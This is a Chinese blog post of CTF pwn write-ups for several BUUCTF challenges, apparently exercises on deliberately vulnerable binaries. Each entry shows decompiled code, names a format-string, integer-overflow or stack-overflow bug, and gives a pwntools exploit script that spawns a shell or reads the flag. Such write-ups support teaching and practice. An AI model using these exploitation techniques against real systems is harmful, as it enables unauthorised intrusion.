BUU pwn 刷题

这篇博客主要记录了作者在参加CTF比赛时遇到的一些PWN题目,包括第五空间2019决赛、BJDCTF 2nd、ciscn_2019_n_8、not_the_same_3dsctf_2016和jarvisoj_level0等。题目主要涉及栈溢出、格式化字符串漏洞和整型溢出等,通过IDA反编译分析保护机制,利用漏洞获取flag。文章中给出了部分解决方案和exploit代码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这里基本都是栈溢出题,没什么技术含量,只作为记录

[第五空间2019 决赛]PWN5

查看保护

开启了canary和栈不可执行保护
在这里插入图片描述
IDA反编译得到main函数

int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int fd; // ST14_4
  int result; // eax
  char nptr; // [esp+4h] [ebp-80h]
  char buf; // [esp+14h] [ebp-70h]
  unsigned int v6; // [esp+78h] [ebp-Ch]
  int *v7; // [esp+7Ch] [ebp-8h]

  v7 = &a1;
  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &random_num, 4u);
  printf("your name:");
  read(0, &buf, 0x63u);
  printf("Hello,");
  printf(&buf);
  printf("your passwd:");
  read(0, &nptr, 0xFu);
  if ( atoi(&nptr) == random_num )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  if ( __readgsdword(0x14u) != v6 )
    sub_80493D0();
  return result;
}

读入的随机数random_num存在bss段
在这里插入图片描述
明显的格式化字符串漏洞,泄露random值,然后输入即可获得flag

from pwn import *

#sh=process("./pwn")
context.log_level="debug"
sh=remote("node3.buuoj.cn",26345)
random_addr=0x0804C044

#gdb.attach(sh,"b *0x080492FA ")
sh.recvuntil("your name:")
payload=p32(random_addr)+"%10$s"
sh.sendline(payload)
sh.recvuntil("Hello,")
randnum=u32(sh.recv(8)[4:])
log.success(randnum)
sh.recvuntil("your passwd:")
sh.send(str(randnum))
sh.interactive()

[BJDCTF 2nd]r2t3

安全保护

在这里插入图片描述

IDA反编译

main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [esp+0h] [ebp-408h]

  my_init();
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("[+]Ret2text3.0?");
  puts("[+]Please input your name:");
  read(0, &buf, 0x400u);
  name_check(&buf);
  puts("Welcome ,u win!");
  return 0;
}

但是buf空间足够大,这里没有溢出
在这里插入图片描述

char *__cdecl name_check(char *s)
{
  char dest; // [esp+7h] [ebp-11h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Oops,u name is too long!");
    exit(-1);
  }
  printf("Hello,My dear %s", s);
  return strcpy(&dest, s);
}

name_check函数存在整形溢出,unsigned __int8 v3仅有1个字节,超过1个字节将被截断,也就是最大数值为0xff ,也就是如果stren(str)=0x100,v3=0x100=0

计算偏移,偏移为21
在这里插入图片描述
题目有后门函数
在这里插入图片描述

from pwn import*
 
p = process('./r2t3')
p.recvuntil(' name:\n')
payload = 'a'*0x21 + p32(0x0804858B) + 'a'*(0x104 - 0x15 -0x4)
p.sendline(payload)

ciscn_2019_n_8

安全保护

在这里插入图片描述
直接使var[13]=17就行了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]

  var[13] = 0;
  var[14] = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf((int)"%s", (int)var, v4, v5);
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] == 17LL )
      system("/bin/sh");
    else
      printf(
        "something wrong! val is %d",
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }
  else
  {
    printf("%s, Welcome!\n", var);
    puts("Try do something~");
  }
  return 0;
}

exp

from pwn import *

#sh=process("./ciscn_2019_n_8")

sh=remote("node3.buuoj.cn",28764)
#gdb.attach(sh,"b printf")
sh.recvuntil("What's your name?")

payload=p32(0)*13+p32(17)
sh.sendline(payload)
sh.interactive()

not_the_same_3dsctf_2016

保护

在这里插入图片描述
.在这里插入图片描述

IDA查看

main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+Fh] [ebp-2Dh]

  printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
  gets(&v4);
  return 0;
}

有获取flag的函数

int get_secret()
{
  int v0; // esi

  v0 = fopen("flag.txt", &unk_80CF91B);
  fgets(&fl4g, 45, v0);
  return fclose(v0);
}

标准栈溢出,计算偏移
在这里插入图片描述
flag存储在bss段,所以先栈溢出,返回get_secret函数读取flag到 bss段,然后再调用write函数写到标准输出
exp

from pwn import *

#sh=process("./not_the_same_3dsctf_2016")
context.log_level='debug'

sh=remote("node3.buuoj.cn",27356)
#gdb.attach(sh,"b *0x080489A0")
get_flag=0x080489A0
#sh.recvuntil("m3m0... ")
write=0x0806E270
flag=0x080ECA2D
payload=flat(['a'*45,get_flag,write,0xdeadbeef,1,flag,45])
sh.sendline(payload)
sh.interactive()

jarvisoj_level0

保护

在这里插入图片描述

IDA查看

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function(1LL, "Hello, World\n");
}

vulnerable_function

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}

计算偏移

在这里插入图片描述
exp

from pwn import *

sh=process("./level0")
context.log_level='debug'

#sh=remote("node3.buuoj.cn",27356)
#gdb.attach(sh,"b *0x040059")
system=0x00400596
sh.recvuntil("Hello, World\n")


payload='a'*136+p64(system)
sh.sendline(payload)
sh.interactive()

one_gadget

保护

在这里插入图片描述

IDA查看

main

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  void (*v4)(void); // [rsp+8h] [rbp-18h]
  void (*v5)(void); // [rsp+10h] [rbp-10h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init(*(_QWORD *)&argc, argv, envp);
  printf("Give me your one gadget:");
  __isoc99_scanf("%ld", &v4);
  v5 = v4;
  v4();
  return 0;
}

init函数输出了printf的绝对地址

int init()
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  return printf("here is the gift for u:%p\n", &printf);
}

按题目要求,根据提供的libc,搜索one gadget
在这里插入图片描述
这里需要注意的是传payload的时候不要用p64打包,one_daget选最后一一个成功
exp

from pwn import *

#sh=process("./one_gadget")
context.log_level='debug'
libc=ELF("./libc-2.29.so")
sh=remote("node3.buuoj.cn",27200)
#gdb.attach(sh,"b scanf")
one_daget_offset=0x106ef8

sh.recvuntil("here is the gift for u:")
sh.recvuntil("0x")
print_addr=int(sh.recvn(12),16)

log.success("print_addr:"+hex(print_addr))
libc_base=print_addr-libc.symbols['printf']

one_daget=libc_base+one_daget_offset
log.success("one_daget:"+hex(one_daget))
payload=str(one_daget)
sh.recvuntil("one gadget:")
sh.send(payload)

sh.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值